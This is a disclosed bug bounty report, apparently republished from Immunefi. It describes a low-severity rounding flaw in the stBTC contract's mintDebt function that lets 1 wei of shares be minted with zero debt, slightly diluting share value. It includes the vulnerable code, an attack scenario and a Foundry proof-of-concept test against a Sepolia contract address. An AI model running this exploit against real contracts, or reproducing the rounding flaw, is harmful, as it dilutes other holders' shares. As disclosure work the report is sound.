Skip to content
Audit finding Intermediate

Incorrect rounding in mintdebt function might allow minimal shares dilution

The mintDebt function in the stBTC contract rounds down when converting shares to assets, so minting 1 wei of shares can add zero debt. An attacker could repeatedly mint tiny amounts of shares without increasing assets, slightly diluting the value of existing shares.

nnez Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

#35014 [SC-Low] incorrect rounding in mintdebt function might allow minimal shares dilution

#35014 [SC-Low] Incorrect rounding in mintDebt function might allow minimal shares dilution

Submitted on Sep 2nd 2024 at 18:52:11 UTC by @nnez for Audit Comp | Acre

Description

Description

The `mintDebt` function in the stBTC contract contains a vulnerability due to incorrect rounding when converting shares to assets. In certain situations, such as when the vault experiences a loss, this rounding error allows users to mint 1 wei of shares without any corresponding increase in assets.

The vulnerable code is in the `mintDebt` function:
See: https://github.com/thesis/acre/blob/main/solidity/contracts/stBTC.sol#L304-L331\\ ```solidity function mintDebt( uint256 shares, address receiver ) public whenNotPaused returns (uint256 assets) { assets = convertToAssets(shares);

// Increase the debt of the debtor.
currentDebt[msg.sender] += assets;

// Check the maximum debt allowance of the debtor.
if (currentDebt[msg.sender] > allowedDebt[msg.sender]) {
    revert InsufficientDebtAllowance(
        msg.sender,
        allowedDebt[msg.sender],
        currentDebt[msg.sender]
    );
}

// ... (rest of the function)

} ```

The issue arises when `convertToAssets(1)` returns 0 due to rounding down. This allows a user to mint 1 wei of shares without increasing their debt, bypassing the debt allowance check.

Example scenario:

  1. The vault experiences a small loss (e.g., 0.1%).
  2. An attacker calls `mintDebt(1, address(this))`.
  3. Due to rounding, `convertToAssets(1)` returns 0.
  4. The debt allowance check is bypassed since 0 is added to `currentDebt`.
  5. 1 wei of shares is minted, increasing `totalSupply` without increasing `totalAssets`.

Impact

The primary impact of this vulnerability is the potential for share dilution. By exploiting this rounding error, an attacker can incrementally increase the total supply of shares without a corresponding increase in total assets. This leads to a gradual decrease in the value of each share.

However, the overall impact is considered low due to several factors:

  1. The dilution effect is minimal, requiring many transactions to create a material impact.
  2. The stBTC contract implements non-fungible shares, meaning that shares minted through this function cannot be used to redeem underlying assets from the vault.

Despite the low impact, this vulnerability represents an unintended behavior in the contract and is technically valid. Therefore, it should be fixed to prevent any unexpected loss.

Proof of Concept

Proof-of-Concept

The following test demonstrates the example scenario, where the total supply increases by 1 after calling `mintDebt(1, address(this))`, while the total assets remain unchanged.

Steps

  1. Create a new forge project, `forge init --no-commit --no-git --vscode`
  2. Create a new test file and paste the below test
  3. Run `forge t --match-contract AcreBoostShortRoundingTest -vv`
  4. Observe that 1 wei of share is minted via `mintDebt` with no corresponding increment of total assets
    ``` // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol"; import "forge-std/interfaces/IERC20.sol"; import "forge-std/interfaces/IERC4626.sol";

interface IStBTC{ function mintDebt(uint256 shares, address receiver) external returns(uint); function totalSupply() external view returns(uint); function totalAssets() external view returns(uint); }

interface IAllocater{ function allocate() external; function releaseDeposit() external; function depositBalance() external view returns(uint); }

contract AcreBoostShortRoundingTest is Test {

error DepositNotFound();

function setUp() public {
    vm.selectFork(
        vm.createFork("https://rpc.sepolia.org")
    );
}

address stBTC = 0x7e184179b1F95A9ca398E6a16127f06b81Cb37a3;
address tBTC = 0x517f2982701695D4E52f1ECFBEf3ba31Df470161;

function testShortRounding() public{
    deal(tBTC, address(this), 1e18);
    IERC20(tBTC).approve(stBTC, type(uint).max);
    IERC4626(stBTC).deposit(1e18, address(this));
    
    uint currentTotalSupply = IERC4626(stBTC).totalSupply();
    uint currentTotalAsset = IERC4626(stBTC).totalAssets();
    
    console.log("@> Starting total asset and total supply");
    console.log("@> total asset: %s", currentTotalAsset);
    console.log("@> total supply %s", currentTotalSupply);

    // assertEq(currentTotalAsset, currentTotalSupply);
    console.log("@> Simulate loss of 0.1%");
    uint loss = currentTotalAsset*10/10_000;
    vm.prank(stBTC);
    IERC20(tBTC).transfer(address(0xdead), loss);

    currentTotalSupply = IERC4626(stBTC).totalSupply();
    currentTotalAsset = IERC4626(stBTC).totalAssets();
    console.log("@> total asset: %s", currentTotalAsset);
    console.log("@> total supply %s", currentTotalSupply);
    
    console.log("@> mintDebt for 1 wei of share");
    IStBTC(stBTC).mintDebt(1, address(this));

    currentTotalSupply = IERC4626(stBTC).totalSupply();
    currentTotalAsset = IERC4626(stBTC).totalAssets();
    
    console.log("@> Only total supply is incremented, diluting share's value");
    console.log("@> total asset: %s", currentTotalAsset);
    console.log("@> total supply %s", currentTotalSupply);
    
}

} ```

The original report as published on Immunefi, by nnez. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the mintDebt function uses convertToAssets, which rounds down, so a small share amount converts to zero assets and the debt check is bypassed.

Impact

The dilution effect is minimal and requires many transactions, and because shares are non-fungible they cannot be used to redeem underlying assets, so the overall impact is low.

What the attacker needed

Vault experiences a small loss; attacker can call mintDebt

The fix

The rounding should be corrected so that minting any shares always increases debt by at least the corresponding asset value, preventing zero-debt share creation.

How it was found

  1. The vault experiences a small loss, for example 0.1%.
  2. An attacker calls mintDebt with 1 wei of shares.
  3. Due to rounding, convertToAssets(1) returns 0.
  4. The debt allowance check is bypassed because 0 is added to currentDebt.
  5. 1 wei of shares is minted, increasing totalSupply without increasing totalAssets.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A vault contract lets users create shares that represent a portion of the assets it holds. Normally, creating shares should also record a debt equal to the asset value of those shares. Here, a rounding mistake means that creating the smallest possible amount of shares records zero debt, so someone could slowly add shares without adding assets, making everyone else's shares worth a tiny bit less.

More by nnez

View all

32 more disclosed reports, best first.

More from Acre

View all

The newest disclosed reports for this program.

Similar reports

Same bug class and techniques, clearest first.